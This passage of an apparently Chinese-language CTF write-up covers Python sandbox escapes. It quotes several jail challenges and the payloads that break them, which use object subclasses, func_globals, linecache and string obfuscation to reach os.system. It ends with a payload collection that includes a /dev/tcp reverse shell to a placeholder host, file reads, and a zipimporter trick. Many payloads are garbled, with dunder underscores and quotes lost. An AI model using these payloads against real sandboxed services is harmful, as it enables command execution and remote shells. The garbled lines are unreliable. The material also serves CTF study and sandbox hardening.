>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__
restricted attribute
>>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()
file() constructor not accessible in restricted mode
>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
root


2.__ future _

from __future__ import print_function
banned =[****]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]
while 1:
    print(">>>", end=' ')
    data = raw_input()
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

由原始碼可以知道沒有ban reload函式,所以思路可以是reload內建函式。但是嘗試後reload(builtins)不正確。又因為題目只ban了builtins裡的函式,所以可以嘗試通過繼承關係完成(見上面的A->os示例,使用了<class ‘site._Printer’>)

print("".class.mro[2].subclasses()[72].init.globals[‘os’]).system(‘dir’)
顯然上面的os是被禁用的,所以需要使用字串變形(見上文),這裡使用常用的base64處理
print("".class.mro[2].subclasses()[72].init.globals[‘b3M=’.decode(‘base64’)]).system(‘dir’)
還有其他的payload可供分析:
print(().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’)



3.hackuctf 2012

def make_secure():
	UNSAFE = [****]
	 
	for func in UNSAFE:
		del __builtins__.__dict__[func] 
	
from re import findall

#Remove dangerous builtins
make_secure()
print'Go Ahead, Expoit me >;D'
whileTrue: 
	try:
		print ">>>",
		 # Read user input until the firstwhitespace character 
		inp = findall('\S+',raw_input())[0]
		a = None 25.         
	         # Set a to the result from executingthe user input
		exec 'a=' + inp         
	        print '>>>', a
	except Exception, e: 
	         print 'Exception:', e 

執行後效果和平時的python命令列介面差不多隻不過少了一些“敏感函式”。好像沒ban os?直接import os看一下。

Go Ahead, Expoit me >;D
>>> import os
Exception: invalid syntax (<string>, line 1)
>>> import os
Exception: invalid syntax (<string>, line 1)

太天真。。肯定會ban,又不是什麼簽到題。
這裡就需要結合上面繼承和檔案兩部分的內容來繞過了,算是比較簡單的一道題了。

>>> ().__class__.__bases__[0]
>>> <type 'object'>
>>> ().__class__.__bases__[0].__subclasses__()
>>> [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> ().__class__.__bases__[0].__subclasses__()[40]
>>> <type 'file'>
>>> ().__class__.__bases__[0].__subclasses__()[40]("./flag").read()
Exception: [Errno 2] No such file or directory: './flag'   #因為我本地沒有設定一個flag的檔案所以會報錯,實際已經完成了讀取的操作了。


4.future

 #!/usr/bin/envpython
 from __future__ import print_function 
 print("Welcometo my Python sandbox! Enter commands below!")
 banned= [****]
 targets= __builtins__.__dict__.keys()
 targets.remove('raw_input')
 targets.remove('print')
 
 for x in targets:
 	del __builtins__.__dict__[x]
 while 1:
 	print(">>>", end='')
 	data = raw_input()
	 for no in banned:
		 if no.lower() in data.lower():
 			print("No bueno")
			break
  		else:
 		  # this means nobreak 
  		exec data 

經過嘗試可以使用catch_warnings類(索引59),並且使用字串拼接的方式來實現(也可以通過其他途徑)來構造。

Welcometo my Python sandbox! Enter commands below!
>>>().__class__.__bases__[0].__subclasses__()[59]
>>>().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
'1.ISCC 2016 Pwn300 pycalc.py'  2future.py  '3.hackuctf 2012.py'   4..py


5.cuit2017

#-*-coding:utf-8-*- 
#!/usr/bin/python3 
import sys, cmd, os 
del__builtins__.__dict__['__import__'] 
del__builtins__.__dict__['eval'] 
intro= """
pwnhubcuit
pwneverything
Rules:
    -No import
    -No ...
    -No flag
""" 
 
defexecute(command): 
    exec(command, globals()) 
 
classJail(cmd.Cmd): 
    prompt    = '>>> ' 
    filtered   ='***'.split('|') 
 
    def do_EOF(self, line): 
        sys.exit() 
 
    def emptyline(self): 
        return cmd.Cmd.emptyline(self) 
 
    def default(self, line): 
        sys.stdout.write('\x00') 
 
    def postcmd(self, stop, line): 
        if any(f in line for f in self.filtered): 
            print("You are a big hacker!!!") 
            print("Go away") 
        else: 
           try: 
                execute(line) 
           except NameError: 
                print("NameError: name'%s' is not defined" % line) 
           except Exception: 
                print("Error: %s" %line) 
        return cmd.Cmd.postcmd(self, stop,line) 
 
if__name__ == "__main__": 
    try: 
        Jail().cmdloop(intro) 
    except KeyboardInterrupt: 
        print("\rSee you next time!") 

這題不僅ban函式,還ban了符號。

pwnhubcuit
pwneverything
Rules:
    -No import
    -No ...
    -No flag
>>> ().__class__.__bases__[0].__subclasses__()
You are a big hacker!!!
Go away
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
You are a big hacker!!!
Go away
>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
You are a big hacker!!!
Go away
>>> print()
>>> print(getattr(os,"system")("ls")) 
'1.ISCC 2016 Pwn300 pycalc.py' '3.hackuctf 2012.py'   5.cuit2017.py


payload集錦

大家可以閱讀這些收集而來的payload,雖然題目或者環境總不一定是這些方法,但是本質都是一樣的理解了怎麼構造,思路自然來的清晰。

print [].class.base.subclasses()40.read() #檢視檔案


().class.bases[0].subclasses()40.read()
相當於:().class.bases[0].subclasses()40).read() #字串的處理上還可以用其他的很多


[].class.base.subclasses()[60].init.getattribute(‘func_global’+‘s’)[‘linecache’].dict.values()[12]>


print [].class.base.subclasses()[59].init.func_globals[‘linecache’].dict.values()[12].dict.values()144 linecache中查詢os模組執行系統命令


getattr(import(‘types’).builtinstropmi’[::-1], ‘mets’ ‘ys’[::-1])(‘whoami’)


().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’


().class.bases[0].subclasses()[59].init.getattribute(‘func_global’+‘s’)[‘linecache’].dict[‘o’+‘s’].dict’popen’.read()


print(().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’)


{}.class.bases[0].subclasses()[71].getattribute({}.class.bases[0].subclasses()[71].init.func,‘func’+’_global’ +‘s’)[‘o’+‘s’].popen(‘bash -c “bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1”’) #自模組中尋找os模組 執行系統命令


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read() #讀取重要資訊


code = “PK\x03\x04\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00Err0rzz.pySV\xd0\xd5\xd2UH\xceO\xc9\xccK\xb7R(-I\xd3\xb5\x00\x89pqe\xe6\x16\xe4\x17\x95(\xe4\x17sq\x15\x14e\xe6\x81Xz\xc5\x95\xc5%\xa9\xb9\x1a\xea9\xc5\n\xba\x899\xea\x9a\\x00PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\x00\x00\x00\x00Err0rzz.py\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xd6\x06\xb2p\xdf\xd3\x01\x80\x00\xads\xf9\xa7\xd4\x01\x80\x00\xads\xf9\xa7\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\\x00\x00\x00c\x00\x00\x00\x00\x00”
print [].class.base.subclasses()40.write(code)
print [].class.base.subclasses()40.read()
[].class.base.subclasses()55.load_module(‘Err0rzz’) #構造zip module使用zipimporter


x = [x for x in [].class.base.subclasses() if x.name == ‘ca’+‘tch_warnings’][0].init


x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’


x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict[‘sy’+‘stem’](‘l’+‘s /home/ctf’)


x.getattribute(“func_global”+“s”)[‘linecache’].dict[‘o’+‘s’].dict’sy’+‘stem’

5.供參考資料/原始碼下載

習題原始碼下載
https://www.jianshu.com/p/290709f50861
https://www.freebuf.com/articles/system/203208.html
https://www.cnblogs.com/hf99/p/9753376.html
https://www.jianshu.com/p/5d339d60e390
https://www.cnblogs.com/-qing-/p/11656544.html

相關文章